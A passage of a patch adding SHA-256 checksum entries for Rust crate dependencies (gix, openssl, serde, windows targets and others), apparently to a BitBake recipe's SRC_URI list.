+SRC_URI[gix-packetline-0.17.3.sha256sum] = "09ff45eef7747bde4986429a3e813478d50c2688b8f239e57bd3aa81065b285f"
+SRC_URI[gix-packetline-blocking-0.17.3.sha256sum] = "ca8ef6dd3ea50e26f3bf572e90c034d033c804d340cd1eb386392f184a9ba2f7"
+SRC_URI[gix-path-0.10.5.sha256sum] = "97e9ad649bf5e109562d6acba657ca428661ec08e77eaf3a755d8fa55485be9c"
+SRC_URI[gix-pathspec-0.4.1.sha256sum] = "1dbbb92f75a38ef043c8bb830b339b38d0698d7f3746968b5fcbade7a880494d"
+SRC_URI[gix-prompt-0.8.2.sha256sum] = "02bd89d058258e53e0fd6c57f13ee16c5673a83066a68e11f88626fc8cfda5f6"
+SRC_URI[gix-protocol-0.42.0.sha256sum] = "95736ef407db0bd15a5bdea791fbfcf523b9f13b96c852c240cd86a9ee0ef817"
+SRC_URI[gix-quote-0.4.10.sha256sum] = "9f7dc10303d73a960d10fb82f81188b036ac3e6b11b5795b20b1a60b51d1321f"
+SRC_URI[gix-ref-0.39.1.sha256sum] = "3b2069adc212cf7f3317ef55f6444abd06c50f28479dbbac5a86acf3b05cbbfe"
+SRC_URI[gix-refspec-0.20.0.sha256sum] = "76d9d3b82e1ee78fc0dc1c37ea5ea76c2dbc73f407db155f0dfcea285e583bee"
+SRC_URI[gix-revision-0.24.0.sha256sum] = "fe5dd51710ce5434bc315ea30394fab483c5377276494edd79222b321a5a9544"
+SRC_URI[gix-revwalk-0.10.0.sha256sum] = "69d4ed2493ca94a475fdf147138e1ef8bab3b6ebb56abf3d9bda1c05372ec1dd"
+SRC_URI[gix-sec-0.10.4.sha256sum] = "f8d9bf462feaf05f2121cba7399dbc6c34d88a9cad58fc1e95027791d6a3c6d2"
+SRC_URI[gix-submodule-0.6.0.sha256sum] = "02a3d7f60a95bdcaeb8981663c99d1c9f4de42aab1169524c949e948989809f9"
+SRC_URI[gix-tempfile-11.0.1.sha256sum] = "388dd29114a86ec69b28d1e26d6d63a662300ecf61ab3f4cc578f7d7dc9e7e23"
+SRC_URI[gix-trace-0.1.7.sha256sum] = "02b202d766a7fefc596e2cc6a89cda8ad8ad733aed82da635ac120691112a9b1"
+SRC_URI[gix-transport-0.39.0.sha256sum] = "f731cfefc4d62468c6dd2053f5c6707828256a6d2f5488c1811e3f42c178b144"
+SRC_URI[gix-traverse-0.35.0.sha256sum] = "df2112088122a0206592c84fbd42020db63b2ccaed66a0293779f2e5fbf80474"
+SRC_URI[gix-url-0.25.2.sha256sum] = "0c427a1a11ccfa53a4a2da47d9442c2241deee63a154bc15cc14b8312fbc4005"
+SRC_URI[gix-utils-0.1.9.sha256sum] = "56e839f3d0798b296411263da6bee780a176ef8008a5dfc31287f7eda9266ab8"
+SRC_URI[gix-validate-0.8.3.sha256sum] = "ac7cc36f496bd5d96cdca0f9289bb684480725d40db60f48194aa7723b883854"
+SRC_URI[gix-worktree-0.28.0.sha256sum] = "7f1d0ae01dee14abe8c8117d78d7518f9a507de2dc4522546fbf4c444e9860b4"
+SRC_URI[glob-0.3.1.sha256sum] = "d2fabcfbdc87f4758337ca535fb41a6d701b65693ce38287d856d1674551ec9b"
+SRC_URI[globset-0.4.14.sha256sum] = "57da3b9b5b85bd66f31093f8c408b90a74431672542466497dcbdfdc02034be1"
+SRC_URI[group-0.13.0.sha256sum] = "f0f9ef7462f7c099f518d754361858f86d8a07af53ba9af0fe635bbccb151a63"
+SRC_URI[hashbrown-0.12.3.sha256sum] = "8a9ee70c43aaf417c914396645a0fa852624801b24ebb7ae78fe8272889ac888"
+SRC_URI[hashbrown-0.14.3.sha256sum] = "290f1a1d9242c78d09ce40a5e87e7554ee637af1351968159f4952f028f75604"
+SRC_URI[hashlink-0.8.4.sha256sum] = "e8094feaf31ff591f651a2664fb9cfd92bba7a60ce3197265e9482ebe753c8f7"
+SRC_URI[heck-0.4.1.sha256sum] = "95505c38b4572b2d910cecb0281560f54b440a19336cbbcb27bf6ce6adc6f5a8"
+SRC_URI[hermit-abi-0.3.5.sha256sum] = "d0c62115964e08cb8039170eb33c1d0e2388a256930279edca206fff675f82c3"
+SRC_URI[hex-0.4.3.sha256sum] = "7f24254aa9a54b5c858eaee2f5bccdb46aaf0e486a595ed5fd8f86ba55232a70"
+SRC_URI[hkdf-0.12.4.sha256sum] = "7b5f8eb2ad728638ea2c7d47a21db23b7b58a72ed6a38256b8a1849f15fbbdf7"
+SRC_URI[hmac-0.12.1.sha256sum] = "6c49c37c09c17a53d937dfbb742eb3a961d65a994e6bcdcf37e7399d0cc8ab5e"
+SRC_URI[home-0.5.9.sha256sum] = "e3d1354bf6b7235cb4a0576c2619fd4ed18183f689b12b006a0ee7329eeff9a5"
+SRC_URI[http-auth-0.1.9.sha256sum] = "643c9bbf6a4ea8a656d6b4cd53d34f79e3f841ad5203c1a55fb7d761923bc255"
+SRC_URI[humantime-2.1.0.sha256sum] = "9a3a5bfb195931eeb336b2a7b4d761daec841b97f947d34394601737a7bba5e4"
+SRC_URI[idna-0.5.0.sha256sum] = "634d9b1461af396cad843f47fdba5597a4f9e6ddd4bfb6ff5d85028c25cb12f6"
+SRC_URI[ignore-0.4.22.sha256sum] = "b46810df39e66e925525d6e38ce1e7f6e1d208f72dc39757880fcb66e2c58af1"
+SRC_URI[im-rc-15.1.0.sha256sum] = "af1955a75fa080c677d3972822ec4bad316169ab1cfc6c257a942c2265dbe5fe"
+SRC_URI[indexmap-1.9.3.sha256sum] = "bd070e393353796e801d209ad339e89596eb4c8d430d18ede6a1cced8fafbd99"
+SRC_URI[indexmap-2.2.2.sha256sum] = "824b2ae422412366ba479e8111fd301f7b5faece8149317bb81925979a53f520"
+SRC_URI[is-terminal-0.4.11.sha256sum] = "fe8f25ce1159c7740ff0b9b2f5cdf4a8428742ba7c112b9f20f22cd5219c7dab"
+SRC_URI[itertools-0.12.1.sha256sum] = "ba291022dbbd398a455acf126c1e341954079855bc60dfdda641363bd6922569"
+SRC_URI[itoa-1.0.10.sha256sum] = "b1a46d1a171d865aa5f83f92695765caa047a9b4cbae2cbf37dbd613a793fd4c"
+SRC_URI[jobserver-0.1.28.sha256sum] = "ab46a6e9526ddef3ae7f787c06f0f2600639ba80ea3eade3d8e670a2230f51d6"
+SRC_URI[js-sys-0.3.68.sha256sum] = "406cda4b368d531c842222cf9d2600a9a4acce8d29423695379c6868a143a9ee"
+SRC_URI[kstring-2.0.0.sha256sum] = "ec3066350882a1cd6d950d055997f379ac37fd39f81cd4d8ed186032eb3c5747"
+SRC_URI[lazy_static-1.4.0.sha256sum] = "e2abad23fbc42b3700f2f279844dc832adb2b2eb069b2df918f455c4e18cc646"
+SRC_URI[lazycell-1.3.0.sha256sum] = "830d08ce1d1d941e6b30645f1a0eb5643013d835ce3779a5fc208261dbe10f55"
+SRC_URI[libc-0.2.153.sha256sum] = "9c198f91728a82281a64e1f4f9eeb25d82cb32a5de251c6bd1b5154d63a8e7bd"
+SRC_URI[libgit2-sys-0.16.2+1.7.2.sha256sum] = "ee4126d8b4ee5c9d9ea891dd875cfdc1e9d0950437179104b183d7d8a74d24e8"
+SRC_URI[libloading-0.8.1.sha256sum] = "c571b676ddfc9a8c12f1f3d3085a7b163966a8fd8098a90640953ce5f6170161"
+SRC_URI[libnghttp2-sys-0.1.9+1.58.0.sha256sum] = "b57e858af2798e167e709b9d969325b6d8e9d50232fcbc494d7d54f976854a64"
+SRC_URI[libsqlite3-sys-0.27.0.sha256sum] = "cf4e226dcd58b4be396f7bd3c20da8fdee2911400705297ba7d2d7cc2c30f716"
+SRC_URI[libssh2-sys-0.3.0.sha256sum] = "2dc8a030b787e2119a731f1951d6a773e2280c660f8ec4b0f5e1505a386e71ee"
+SRC_URI[libz-sys-1.1.15.sha256sum] = "037731f5d3aaa87a5675e895b63ddff1a87624bc29f77004ea829809654e48f6"
+SRC_URI[linux-raw-sys-0.4.13.sha256sum] = "01cda141df6706de531b6c46c3a33ecca755538219bd484262fa09410c13539c"
+SRC_URI[lock_api-0.4.11.sha256sum] = "3c168f8615b12bc01f9c17e2eb0cc07dcae1940121185446edc3744920e8ef45"
+SRC_URI[log-0.4.20.sha256sum] = "b5e6163cb8c49088c2c36f57875e58ccd8c87c7427f7fbd50ea6710b2f3f2e8f"
+SRC_URI[matchers-0.1.0.sha256sum] = "8263075bb86c5a1b1427b5ae862e8889656f126e9f77c484496e8b47cf5c5558"
+SRC_URI[maybe-async-0.2.9.sha256sum] = "afc95a651c82daf7004c824405aa1019723644950d488571bd718e3ed84646ed"
+SRC_URI[memchr-2.7.1.sha256sum] = "523dc4f511e55ab87b694dc30d0f820d60906ef06413f93d4d7a1385599cc149"
+SRC_URI[memmap2-0.9.4.sha256sum] = "fe751422e4a8caa417e13c3ea66452215d7d63e19e604f4980461212f3ae1322"
+SRC_URI[minimal-lexical-0.2.1.sha256sum] = "68354c5c6bd36d73ff3feceb05efa59b6acb7626617f4962be322a825e61f79a"
+SRC_URI[miniz_oxide-0.7.2.sha256sum] = "9d811f3e15f28568be3407c8e7fdb6514c1cda3cb30683f15b6a1a1dc4ea14a7"
+SRC_URI[miow-0.6.0.sha256sum] = "359f76430b20a79f9e20e115b3428614e654f04fab314482fc0fda0ebd3c6044"
+SRC_URI[nom-7.1.3.sha256sum] = "d273983c5a657a70a3e8f2a01329822f3b8c8172b73826411a55751e404a0a4a"
+SRC_URI[normpath-1.1.1.sha256sum] = "ec60c60a693226186f5d6edf073232bfb6464ed97eb22cf3b01c1e8198fd97f5"
+SRC_URI[nu-ansi-term-0.46.0.sha256sum] = "77a8165726e8236064dbb45459242600304b42a5ea24ee2948e18e023bf7ba84"
+SRC_URI[num-conv-0.1.0.sha256sum] = "51d515d32fb182ee37cda2ccdcb92950d6a3c2893aa280e540671c2cd0f3b1d9"
+SRC_URI[num-traits-0.2.18.sha256sum] = "da0df0e5185db44f69b44f26786fe401b6c293d1907744beaa7fa62b2e5a517a"
+SRC_URI[num_threads-0.1.6.sha256sum] = "2819ce041d2ee131036f4fc9d6ae7ae125a3a40e97ba64d04fe799ad9dabbb44"
+SRC_URI[once_cell-1.19.0.sha256sum] = "3fdb12b2476b595f9358c5161aa467c2438859caa136dec86c26fdd2efe17b92"
+SRC_URI[opener-0.6.1.sha256sum] = "6c62dcb6174f9cb326eac248f07e955d5d559c272730b6c03e396b443b562788"
+SRC_URI[openssl-0.10.63.sha256sum] = "15c9d69dd87a29568d4d017cfe8ec518706046a05184e5aea92d0af890b803c8"
+SRC_URI[openssl-macros-0.1.1.sha256sum] = "a948666b637a0f465e8564c73e89d4dde00d72d4d473cc972f390fc3dcee7d9c"
+SRC_URI[openssl-probe-0.1.5.sha256sum] = "ff011a302c396a5197692431fc1948019154afc178baf7d8e37367442a4601cf"
+SRC_URI[openssl-src-300.2.2+3.2.1.sha256sum] = "8bbfad0063610ac26ee79f7484739e2b07555a75c42453b89263830b5c8103bc"
+SRC_URI[openssl-sys-0.9.99.sha256sum] = "22e1bf214306098e4832460f797824c05d25aacdf896f64a985fb0fd992454ae"
+SRC_URI[ordered-float-2.10.1.sha256sum] = "68f19d67e5a2795c94e73e0bb1cc1a7edeb2e28efd39e2e1c9b7a40c1108b11c"
+SRC_URI[orion-0.17.6.sha256sum] = "7abdb10181903c8c4b016ba45d6d6d5af1a1e2a461aa4763a83b87f5df4695e5"
+SRC_URI[os_info-3.7.0.sha256sum] = "006e42d5b888366f1880eda20371fedde764ed2213dc8496f49622fa0c99cd5e"
+SRC_URI[overload-0.1.1.sha256sum] = "b15813163c1d831bf4a13c3610c05c0d03b39feb07f7e09fa234dac9b15aaf39"
+SRC_URI[p384-0.13.0.sha256sum] = "70786f51bcc69f6a4c0360e063a4cac5419ef7c5cd5b3c99ad70f3be5ba79209"
+SRC_URI[parking_lot-0.12.1.sha256sum] = "3742b2c103b9f06bc9fff0a37ff4912935851bee6d36f3c02bcc755bcfec228f"
+SRC_URI[parking_lot_core-0.9.9.sha256sum] = "4c42a9226546d68acdd9c0a280d17ce19bfe27a46bf68784e4066115788d008e"
+SRC_URI[pasetors-0.6.8.sha256sum] = "6b36d47c66f2230dd1b7143d9afb2b4891879020210eddf2ccb624e529b96dba"
+SRC_URI[pathdiff-0.2.1.sha256sum] = "8835116a5c179084a830efb3adc117ab007512b535bc1a21c991d3b32a6b44dd"
+SRC_URI[pem-rfc7468-0.7.0.sha256sum] = "88b39c9bfcfc231068454382784bb460aae594343fb030d46e9f50a645418412"
+SRC_URI[percent-encoding-2.3.1.sha256sum] = "e3148f5046208a5d56bcfc03053e3ca6334e51da8dfb19b6cdc8b306fae3283e"
+SRC_URI[pin-project-lite-0.2.13.sha256sum] = "8afb450f006bf6385ca15ef45d71d2288452bc3683ce2e2cacc0d18e4be60b58"
+SRC_URI[pkcs8-0.10.2.sha256sum] = "f950b2377845cebe5cf8b5165cb3cc1a5e0fa5cfa3e1f7f55707d8fd82e0a7b7"
+SRC_URI[pkg-config-0.3.29.sha256sum] = "2900ede94e305130c13ddd391e0ab7cbaeb783945ae07a279c268cb05109c6cb"
+SRC_URI[powerfmt-0.2.0.sha256sum] = "439ee305def115ba05938db6eb1644ff94165c5ab5e9420d1c1bcedbba909391"
+SRC_URI[ppv-lite86-0.2.17.sha256sum] = "5b40af805b3121feab8a3c29f04d8ad262fa8e0561883e7653e024ae4479e6de"
+SRC_URI[primeorder-0.13.6.sha256sum] = "353e1ca18966c16d9deb1c69278edbc5f194139612772bd9537af60ac231e1e6"
+SRC_URI[proc-macro2-1.0.78.sha256sum] = "e2422ad645d89c99f8f3e6b88a9fdeca7fabeac836b1002371c4367c8f984aae"
+SRC_URI[prodash-26.2.2.sha256sum] = "794b5bf8e2d19b53dcdcec3e4bba628e20f5b6062503ba89281fa7037dd7bbcf"
+SRC_URI[pulldown-cmark-0.9.6.sha256sum] = "57206b407293d2bcd3af849ce869d52068623f19e1b5ff8e8778e3309439682b"
+SRC_URI[quote-1.0.35.sha256sum] = "291ec9ab5efd934aaf503a6466c5d5251535d108ee747472c3977cc5acc868ef"
+SRC_URI[rand-0.8.5.sha256sum] = "34af8d1a0e25924bc5b7c43c079c942339d8f0a8b57c39049bef581b46327404"
+SRC_URI[rand_chacha-0.3.1.sha256sum] = "e6c10a63a0fa32252be49d21e7709d4d4baf8d231c2dbce1eaa8141b9b127d88"
+SRC_URI[rand_core-0.6.4.sha256sum] = "ec0be4795e2f6a28069bec0b5ff3e2ac9bafc99e6a9a7dc3547996c5c816922c"
+SRC_URI[rand_xoshiro-0.6.0.sha256sum] = "6f97cdb2a36ed4183de61b2f824cc45c9f1037f28afe0a322e9fff4c108b5aaa"
+SRC_URI[redox_syscall-0.4.1.sha256sum] = "4722d768eff46b75989dd134e5c353f0d6296e5aaa3132e776cbdb56be7731aa"
+SRC_URI[regex-1.10.3.sha256sum] = "b62dbe01f0b06f9d8dc7d49e05a0785f153b00b2c227856282f671e0318c9b15"
+SRC_URI[regex-automata-0.1.10.sha256sum] = "6c230d73fb8d8c1b9c0b3135c5142a8acee3a0558fb8db5cf1cb65f8d7862132"
+SRC_URI[regex-automata-0.4.5.sha256sum] = "5bb987efffd3c6d0d8f5f89510bb458559eab11e4f869acb20bf845e016259cd"
+SRC_URI[regex-syntax-0.6.29.sha256sum] = "f162c6dd7b008981e4d40210aca20b4bd0f9b60ca9271061b07f78537722f2e1"
+SRC_URI[regex-syntax-0.8.2.sha256sum] = "c08c74e62047bb2de4ff487b251e4a92e24f48745648451635cec7d591162d9f"
+SRC_URI[rfc6979-0.4.0.sha256sum] = "f8dd2a808d456c4a54e300a23e9f5a67e122c3024119acbfd73e3bf664491cb2"
+SRC_URI[rusqlite-0.30.0.sha256sum] = "a78046161564f5e7cd9008aff3b2990b3850dc8e0349119b98e8f251e099f24d"
+SRC_URI[rustfix-0.7.0.sha256sum] = "7ec10cbeb92a2e494ef354d66126882da8c0a244ad769e2a7193efc5de625175"
+SRC_URI[rustix-0.38.31.sha256sum] = "6ea3e1a662af26cd7a3ba09c0297a31af215563ecf42817c98df621387f4e949"
+SRC_URI[ryu-1.0.16.sha256sum] = "f98d2aa92eebf49b69786be48e4477826b256916e84a57ff2a4f21923b48eb4c"
+SRC_URI[same-file-1.0.6.sha256sum] = "93fc1dc3aaa9bfed95e02e6eadabb4baf7e3078b0bd1b4d7b6b0b68378900502"
+SRC_URI[schannel-0.1.23.sha256sum] = "fbc91545643bcf3a0bbb6569265615222618bdf33ce4ffbbd13c4bbd4c093534"
+SRC_URI[scopeguard-1.2.0.sha256sum] = "94143f37725109f92c262ed2cf5e59bce7498c01bcc1502d7b9afe439a4e9f49"
+SRC_URI[sec1-0.7.3.sha256sum] = "d3e97a565f76233a6003f9f5c54be1d9c5bdfa3eccfb189469f11ec4901c47dc"
+SRC_URI[security-framework-2.9.2.sha256sum] = "05b64fb303737d99b81884b2c63433e9ae28abebe5eb5045dcdd175dc2ecf4de"
+SRC_URI[security-framework-sys-2.9.1.sha256sum] = "e932934257d3b408ed8f30db49d85ea163bfe74961f017f405b025af298f0c7a"
+SRC_URI[semver-1.0.21.sha256sum] = "b97ed7a9823b74f99c7742f5336af7be5ecd3eeafcb1507d1fa93347b1d589b0"
+SRC_URI[serde-1.0.196.sha256sum] = "870026e60fa08c69f064aa766c10f10b1d62db9ccd4d0abb206472bee0ce3b32"
+SRC_URI[serde-untagged-0.1.5.sha256sum] = "6a160535368dfc353348e7eaa299156bd508c60c45a9249725f5f6d370d82a66"
+SRC_URI[serde-value-0.7.0.sha256sum] = "f3a1a3341211875ef120e117ea7fd5228530ae7e7036a779fdc9117be6b3282c"
+SRC_URI[serde_derive-1.0.196.sha256sum] = "33c85360c95e7d137454dc81d9a4ed2b8efd8fbe19cee57357b32b9771fccb67"
+SRC_URI[serde_ignored-0.1.10.sha256sum] = "a8e319a36d1b52126a0d608f24e93b2d81297091818cd70625fcf50a15d84ddf"
+SRC_URI[serde_json-1.0.113.sha256sum] = "69801b70b1c3dac963ecb03a364ba0ceda9cf60c71cfe475e99864759c8b8a79"
+SRC_URI[serde_spanned-0.6.5.sha256sum] = "eb3622f419d1296904700073ea6cc23ad690adbd66f13ea683df73298736f0c1"
+SRC_URI[sha1-0.10.6.sha256sum] = "e3bf829a2d51ab4a5ddf1352d8470c140cadc8301b2ae1789db023f01cedd6ba"
+SRC_URI[sha1_smol-1.0.0.sha256sum] = "ae1a47186c03a32177042e55dbc5fd5aee900b8e0069a8d70fba96a9375cd012"
+SRC_URI[sha2-0.10.8.sha256sum] = "793db75ad2bcafc3ffa7c68b215fee268f537982cd901d132f89c6343f3a3dc8"
+SRC_URI[sharded-slab-0.1.7.sha256sum] = "f40ca3c46823713e0d4209592e8d6e826aa57e928f09752619fc696c499637f6"
+SRC_URI[shell-escape-0.1.5.sha256sum] = "45bb67a18fa91266cc7807181f62f9178a6873bfad7dc788c42e6430db40184f"
+SRC_URI[shell-words-1.1.0.sha256sum] = "24188a676b6ae68c3b2cb3a01be17fbf7240ce009799bb56d5b1409051e78fde"
+SRC_URI[signature-2.2.0.sha256sum] = "77549399552de45a898a580c1b41d445bf730df867cc44e6c0233bbc4b8329de"
+SRC_URI[sized-chunks-0.6.5.sha256sum] = "16d69225bde7a69b235da73377861095455d298f2b970996eec25ddbb42b3d1e"
+SRC_URI[smallvec-1.13.1.sha256sum] = "e6ecd384b10a64542d77071bd64bd7b231f4ed5940fba55e98c3de13824cf3d7"
+SRC_URI[socket2-0.5.5.sha256sum] = "7b5fac59a5cb5dd637972e5fca70daf0523c9067fcdc4842f053dae04a18f8e9"
+SRC_URI[spki-0.7.3.sha256sum] = "d91ed6c858b01f942cd56b37a94b3e0a1798290327d1236e4d9cf4eaca44d29d"
+SRC_URI[static_assertions-1.1.0.sha256sum] = "a2eb9349b6444b326872e140eb1cf5e7c522154d69e7a0ffb0fb81c06b37543f"
+SRC_URI[strsim-0.11.0.sha256sum] = "5ee073c9e4cd00e28217186dbe12796d692868f432bf2e97ee73bed0c56dfa01"
+SRC_URI[subtle-2.5.0.sha256sum] = "81cdd64d312baedb58e21336b31bc043b77e01cc99033ce76ef539f78e965ebc"
+SRC_URI[supports-hyperlinks-2.1.0.sha256sum] = "f84231692eb0d4d41e4cdd0cabfdd2e6cd9e255e65f80c9aa7c98dd502b4233d"
+SRC_URI[syn-1.0.109.sha256sum] = "72b64191b275b66ffe2469e8af2c1cfe3bafa67b529ead792a6d0160888b4237"
+SRC_URI[syn-2.0.48.sha256sum] = "0f3531638e407dfc0814761abb7c00a5b54992b849452a0646b7f65c9f770f3f"
+SRC_URI[tar-0.4.40.sha256sum] = "b16afcea1f22891c49a00c751c7b63b2233284064f11a200fc624137c51e2ddb"
+SRC_URI[tempfile-3.10.0.sha256sum] = "a365e8cd18e44762ef95d87f284f4b5cd04107fec2ff3052bd6a3e6069669e67"
+SRC_URI[terminal_size-0.3.0.sha256sum] = "21bebf2b7c9e0a515f6e0f8c51dc0f8e4696391e6f1ff30379559f8365fb0df7"
+SRC_URI[thiserror-1.0.56.sha256sum] = "d54378c645627613241d077a3a79db965db602882668f9136ac42af9ecb730ad"
+SRC_URI[thiserror-impl-1.0.56.sha256sum] = "fa0faa943b50f3db30a20aa7e265dbc66076993efed8463e8de414e5d06d3471"
+SRC_URI[thread_local-1.1.7.sha256sum] = "3fdd6f064ccff2d6567adcb3873ca630700f00b5ad3f060c25b5dcfd9a4ce152"
+SRC_URI[time-0.3.34.sha256sum] = "c8248b6521bb14bc45b4067159b9b6ad792e2d6d754d6c41fb50e29fefe38749"
+SRC_URI[time-core-0.1.2.sha256sum] = "ef927ca75afb808a4d64dd374f00a2adf8d0fcff8e7b184af886c3c87ec4a3f3"
+SRC_URI[time-macros-0.2.17.sha256sum] = "7ba3a3ef41e6672a2f0f001392bb5dcd3ff0a9992d618ca761a11c3121547774"
+SRC_URI[tinyvec-1.6.0.sha256sum] = "87cc5ceb3875bb20c2890005a4e226a4651264a5c75edb2421b52861a0a0cb50"
+SRC_URI[tinyvec_macros-0.1.1.sha256sum] = "1f3ccbac311fea05f86f61904b462b55fb3df8837a366dfc601a0161d0532f20"
+SRC_URI[toml-0.5.11.sha256sum] = "f4f7f0dd8d50a853a531c426359045b1998f04219d88799810762cd4ad314234"
+SRC_URI[toml-0.8.10.sha256sum] = "9a9aad4a3066010876e8dcf5a8a06e70a558751117a145c6ce2b82c2e2054290"
+SRC_URI[toml_datetime-0.6.5.sha256sum] = "3550f4e9685620ac18a50ed434eb3aec30db8ba93b0287467bca5826ea25baf1"
+SRC_URI[toml_edit-0.21.1.sha256sum] = "6a8534fd7f78b5405e860340ad6575217ce99f38d4d5c8f2442cb5ecb50090e1"
+SRC_URI[toml_edit-0.22.4.sha256sum] = "0c9ffdf896f8daaabf9b66ba8e77ea1ed5ed0f72821b398aba62352e95062951"
+SRC_URI[tracing-0.1.40.sha256sum] = "c3523ab5a71916ccf420eebdf5521fcef02141234bbc0b8a49f2fdc4544364ef"
+SRC_URI[tracing-attributes-0.1.27.sha256sum] = "34704c8d6ebcbc939824180af020566b01a7c01f80641264eba0999f6c2b6be7"
+SRC_URI[tracing-core-0.1.32.sha256sum] = "c06d3da6113f116aaee68e4d601191614c9053067f9ab7f6edbcb161237daa54"
+SRC_URI[tracing-log-0.2.0.sha256sum] = "ee855f1f400bd0e5c02d150ae5de3840039a3f54b025156404e34c23c03f47c3"
+SRC_URI[tracing-subscriber-0.3.18.sha256sum] = "ad0f048c97dbd9faa9b7df56362b8ebcaa52adb06b498c050d2f4e32f90a7a8b"
+SRC_URI[typenum-1.17.0.sha256sum] = "42ff0bf0c66b8238c6f3b578df37d0b7848e55df8577b3f74f92a69acceeb825"
+SRC_URI[unicase-2.7.0.sha256sum] = "f7d2d4dafb69621809a81864c9c1b864479e1235c0dd4e199924b9742439ed89"
+SRC_URI[unicode-bidi-0.3.15.sha256sum] = "08f95100a766bf4f8f28f90d77e0a5461bbdb219042e7679bebe79004fed8d75"
+SRC_URI[unicode-bom-2.0.3.sha256sum] = "7eec5d1121208364f6793f7d2e222bf75a915c19557537745b195b253dd64217"
+SRC_URI[unicode-ident-1.0.12.sha256sum] = "3354b9ac3fae1ff6755cb6db53683adb661634f67557942dea4facebec0fee4b"
+SRC_URI[unicode-normalization-0.1.22.sha256sum] = "5c5713f0fc4b5db668a2ac63cdb7bb4469d8c9fed047b1d0292cc7b0ce2ba921"
+SRC_URI[unicode-width-0.1.11.sha256sum] = "e51733f11c9c4f72aa0c160008246859e340b00807569a0da0e7a1079b27ba85"
+SRC_URI[unicode-xid-0.2.4.sha256sum] = "f962df74c8c05a667b5ee8bcf162993134c104e96440b663c8daa176dc772d8c"
+SRC_URI[url-2.5.0.sha256sum] = "31e6302e3bb753d46e83516cae55ae196fc0c309407cf11ab35cc51a4c2a4633"
+SRC_URI[utf8parse-0.2.1.sha256sum] = "711b9620af191e0cdc7468a8d14e709c3dcdb115b36f838e601583af800a370a"
+SRC_URI[valuable-0.1.0.sha256sum] = "830b7e5d4d90034032940e4ace0d9a9a057e7a45cd94e6c007832e39edb82f6d"
+SRC_URI[vcpkg-0.2.15.sha256sum] = "accd4ea62f7bb7a82fe23066fb0957d48ef677f6eeb8215f372f52e48bb32426"
+SRC_URI[version_check-0.9.4.sha256sum] = "49874b5167b65d7193b8aba1567f5c7d93d001cafc34600cee003eda787e483f"
+SRC_URI[walkdir-2.4.0.sha256sum] = "d71d857dc86794ca4c280d616f7da00d2dbfd8cd788846559a6813e6aa4b54ee"
+SRC_URI[wasi-0.11.0+wasi-snapshot-preview1.sha256sum] = "9c8d87e72b64a3b4db28d11ce29237c246188f4f51057d65a7eab63b7987e423"
+SRC_URI[wasm-bindgen-0.2.91.sha256sum] = "c1e124130aee3fb58c5bdd6b639a0509486b0338acaaae0c84a5124b0f588b7f"
+SRC_URI[wasm-bindgen-backend-0.2.91.sha256sum] = "c9e7e1900c352b609c8488ad12639a311045f40a35491fb69ba8c12f758af70b"
+SRC_URI[wasm-bindgen-macro-0.2.91.sha256sum] = "b30af9e2d358182b5c7449424f017eba305ed32a7010509ede96cdc4696c46ed"
+SRC_URI[wasm-bindgen-macro-support-0.2.91.sha256sum] = "642f325be6301eb8107a83d12a8ac6c1e1c54345a7ef1a9261962dfefda09e66"
+SRC_URI[wasm-bindgen-shared-0.2.91.sha256sum] = "4f186bd2dcf04330886ce82d6f33dd75a7bfcf69ecf5763b89fcde53b6ac9838"
+SRC_URI[winapi-0.3.9.sha256sum] = "5c839a674fcd7a98952e593242ea400abe93992746761e38641405d28b00f419"
+SRC_URI[winapi-i686-pc-windows-gnu-0.4.0.sha256sum] = "ac3b87c63620426dd9b991e5ce0329eff545bccbbb34f3be09ff6fb6ab51b7b6"
+SRC_URI[winapi-util-0.1.6.sha256sum] = "f29e6f9198ba0d26b4c9f07dbe6f9ed633e1f3d5b8b414090084349e46a52596"
+SRC_URI[winapi-x86_64-pc-windows-gnu-0.4.0.sha256sum] = "712e227841d057c1ee1cd2fb22fa7e5a5461ae8e48fa2ca79ec42cfc1931183f"
+SRC_URI[windows-sys-0.48.0.sha256sum] = "677d2418bec65e3338edb076e806bc1ec15693c5d0104683f2efe857f61056a9"
+SRC_URI[windows-sys-0.52.0.sha256sum] = "282be5f36a8ce781fad8c8ae18fa3f9beff57ec1b52cb3de0789201425d9a33d"
+SRC_URI[windows-targets-0.48.5.sha256sum] = "9a2fa6e2155d7247be68c096456083145c183cbbbc2764150dda45a87197940c"
+SRC_URI[windows-targets-0.52.0.sha256sum] = "8a18201040b24831fbb9e4eb208f8892e1f50a37feb53cc7ff887feb8f50e7cd"
+SRC_URI[windows_aarch64_gnullvm-0.48.5.sha256sum] = "2b38e32f0abccf9987a4e3079dfb67dcd799fb61361e53e2882c3cbaf0d905d8"
+SRC_URI[windows_aarch64_gnullvm-0.52.0.sha256sum] = "cb7764e35d4db8a7921e09562a0304bf2f93e0a51bfccee0bd0bb0b666b015ea"
+SRC_URI[windows_aarch64_msvc-0.48.5.sha256sum] = "dc35310971f3b2dbbf3f0690a219f40e2d9afcf64f9ab7cc1be722937c26b4bc"
+SRC_URI[windows_aarch64_msvc-0.52.0.sha256sum] = "bbaa0368d4f1d2aaefc55b6fcfee13f41544ddf36801e793edbbfd7d7df075ef"
+SRC_URI[windows_i686_gnu-0.48.5.sha256sum] = "a75915e7def60c94dcef72200b9a8e58e5091744960da64ec734a6c6e9b3743e"
+SRC_URI[windows_i686_gnu-0.52.0.sha256sum] = "a28637cb1fa3560a16915793afb20081aba2c92ee8af57b4d5f28e4b3e7df313"
+SRC_URI[windows_i686_msvc-0.48.5.sha256sum] = "8f55c233f70c4b27f66c523580f78f1004e8b5a8b659e05a4eb49d4166cca406"
+SRC_URI[windows_i686_msvc-0.52.0.sha256sum] = "ffe5e8e31046ce6230cc7215707b816e339ff4d4d67c65dffa206fd0f7aa7b9a"
+SRC_URI[windows_x86_64_gnu-0.48.5.sha256sum] = "53d40abd2583d23e4718fddf1ebec84dbff8381c07cae67ff7768bbf19c6718e"
+SRC_URI[windows_x86_64_gnu-0.52.0.sha256sum] = "3d6fa32db2bc4a2f5abeacf2b69f7992cd09dca97498da74a151a3132c26befd"
+SRC_URI[windows_x86_64_gnullvm-0.48.5.sha256sum] = "0b7b52767868a23d5bab768e390dc5f5c55825b6d30b86c844ff2dc7414044cc"
+SRC_URI[windows_x86_64_gnullvm-0.52.0.sha256sum] = "1a657e1e9d3f514745a572a6846d3c7aa7dbe1658c056ed9c3344c4109a6949e"
+SRC_URI[windows_x86_64_msvc-0.48.5.sha256sum] = "ed94fce61571a4006852b7389a063ab983c02eb1bb37b47f8272ce92d06d9538"
